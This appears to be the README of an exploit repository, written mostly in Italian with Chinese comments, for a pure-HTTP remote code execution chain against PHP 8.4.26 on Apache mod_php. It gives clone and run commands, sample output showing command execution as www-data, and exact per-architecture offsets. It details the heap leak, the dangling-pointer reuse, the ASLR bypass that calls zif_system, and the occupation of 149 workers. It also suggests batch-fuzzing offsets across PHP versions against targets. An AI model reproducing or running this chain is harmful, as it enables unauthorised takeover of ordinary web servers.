Exploit puramente HTTP che ottiene RCE su PHP 8.4.26 + Apache mod_php tramite heap leak di session upload_progress, riuso di puntatori dangling e bypass ASLR per chiamare zif_system.
Con la configurazione ufficiale prefork (MaxRequestWorkers=150), in condizioni completamente remote, usando solo HTTP, con una pagina di destinazione che contiene solo <?php echo "OK\n"; ?> e senza scrivere PHP lato destinazione, ottenere RCE con un solo comando:
In teoria, basta calcolare gli offset di tutte le versioni di PHP e poi usarli per fare fuzzing in batch: prima o poi un fuzz riesce a ottenere l'RCE. Tanto il worker, se crasha, si riavvia comunque, quindi non c'è paura di mandare in crash il target.
Riguardo ai worker: anche MaxRequestWorkers=150 del prefork ufficiale è stato superato. Lo script prima occupa le richieste incomplete di 149 worker, poi fissa A1/B1/A2/B2 sullo stesso child rimanente; il singolo worker era solo la forma di debug iniziale (--workers 1 è ancora riproducibile).
git clone https://github.com/9bie/php2shell-bypass-aslr-exp.git
cd php2shell-bypass-aslr-exp
# 1) 起目标:stock 官方镜像;容器里只把官方 php.ini-production 复制成 php.ini
./pure/run_pure.sh
# target: OK
# architecture: x86_64 (run exploit with --arch x86_64)
# PHP 8.4.26 ...
# display_errors => Off => Off
# memory_limit => 128M => 128M
# workers: official (run exploit with --workers 150)
# 2) 一条命令:A1 -> B1 泄漏 -> A2 -> B2 -> id
python3 exploit.py --port 18110
# --arch auto(默认):自动识别 x86_64 / aarch64
# pinned 150/150 workers (149 holders)
# [try 1] A1: END-cleanup send_cookie OOM
# [try 1] B1: stale-id OOB read (chunk base + libphp)
# arch=x86_64 decoded=819208 zval_ptr_dtor=0x7fe00ef5db60 -> libphp=0x7fe00e8ff000
# chunk buckets: [('0x7fe00c600000', 7495), ('0x7fe00ee00000', 1095),
# ('0x7fe00cc00000', 87), ('0x7fe00c400000', 79)]
# [try 1] A2 + B2: main=0x7fe00cc00000 S=0x7fe00ccf8398 zif_system=0x7fe00ed64370
# [4/4] RCE OK; proof .../out/p1:
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
Non compilare PHP/Apache, non creare immagini, non montare gdb, non modificare l'ini di destinazione.
pure/run_pure.sh usa per impostazione predefinita il container p2s-pure-18110, la porta 18110, e per impostazione predefinita
la configurazione ufficiale prefork (MaxRequestWorkers=150); al termine stampa l'architettura effettiva, l'ini e
i valori MPM; solo con --single monta l'override non ufficiale a worker singolo
pure/docker/apache-single-worker.conf (insieme a --workers 1). docker/apache.conf
è solo un symlink di compatibilità mantenuto per il vecchio harness, che punta allo stesso file.
Su Linux, in assenza dei permessi del gruppo docker, lo script passa automaticamente a sudo docker, oppure si può specificare esplicitamente
DOCKER="sudo docker" ./pure/run_pure.sh; --dbg serve solo per passare alla stessa build con simboli
per la calibrazione offline.
Parametri comuni:
# 换新 ASLR 复测(重启容器)
python3 exploit.py --port 18110 --restart p2s-pure-18110
# 官方 worker 是默认值;--single 起的单 worker 目标用 --workers 1
python3 exploit.py --port 18110 --workers 1
# ARM64 也可显式指定(默认 --arch auto 自动识别)
python3 exploit.py --arch aarch64 --port 18110 --workers 1
# 自定义命令:把脚本写进挂载目录,再用 sh 执行
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py --port 18110 --cmd 'sh</out/c'
--retries predefinito a 3; se il puntatore più comune in una finestra fuori limite non è
zval_ptr_dtor, lo script scarta questa fuga usando il controllo dell'intervallo plausibile di libphp-main,
e ricomincia l'intera catena.
La pagina di destinazione contiene solo <?php echo "OK\n"; ?>, il traffico di attacco è solo multipart chunked
e normali GET/POST:
MaxRequestWorkers=150 ufficiale; prima si aprono 149 POST che hanno inviato
solo metà del body per occupare gli altri child, così A1/B1/A2/B2 finiranno tutti sullo stesso
child rimanente, e solo così il puntatore pendente tra richieste è efficace.post_max_size: senza Content-Length
content_length=0, il controllo all'inizio di rfc1867_post_handler viene saltato,
si può inviare un body molto più grande di 8M per fare heap shaping.PHP_SESSION_UPLOAD_PROGRESS, OOM dentro php_url_encode della cleanup END;
il bailout lascia PS(id) / PS(mod_data) pendenti, send_cookie=1.PS(id) a un header
zend_string falsificato (len=0xC8000, data contiene /), Set-Cookie codifica 800KB di memoria
dopo il chunk id. Nella finestra ci sono contemporaneamente:
G:400 in coda al chunk id viene riempito da 900 campi array annidati,
il pDestructor = zval_ptr_dtor della vera HashTable compare 1095 volte
→ libphp = valore - 0x65EB60.PS(hash_serialize_verifier) sull'heap
(main+0x7D720); B2 lo sovrascrive con 384B di valore di riferimento facendolo puntare a
uno zval su S=main+0xF8398, in S il pDestructor = zif_system dello zend_array falsificato
(libphp+0x465370), allo shutdown zend_hash_destroy chiama system("id>/out/p1").Offset (questa build, indipendenti da ASLR):
| Simbolo/posizione | x86_64 | aarch64 |
|---|---|---|
puntatore zval_ptr_dtor trapelato | libphp+0x65EB60 | libphp+0x63812B |
zif_system | libphp+0x465370 | libphp+0x42CD70 |
fake array S | main+0xF8398 | main+0xF8398 |
hsv di A2 | main+0x7D720 | main+0x7D720 |
Il simbolo ELF zval_ptr_dtor di aarch64 si trova a 0x638120, ma il puntatore che ricorre
in questa fuga è 11 byte dopo, quindi il profilo sottrae 0x63812B.
Ambiente di destinazione: Debian 13 (trixie), Apache 2.4.69 prefork, PHP 8.4.26 NTS
mod_php, files session handler. Cambiare build/versione di PHP richiede una nuova calibrazione degli offset;
l'ASLR cambia a ogni avvio del container, le due fughe sulla catena si calcolano da sole.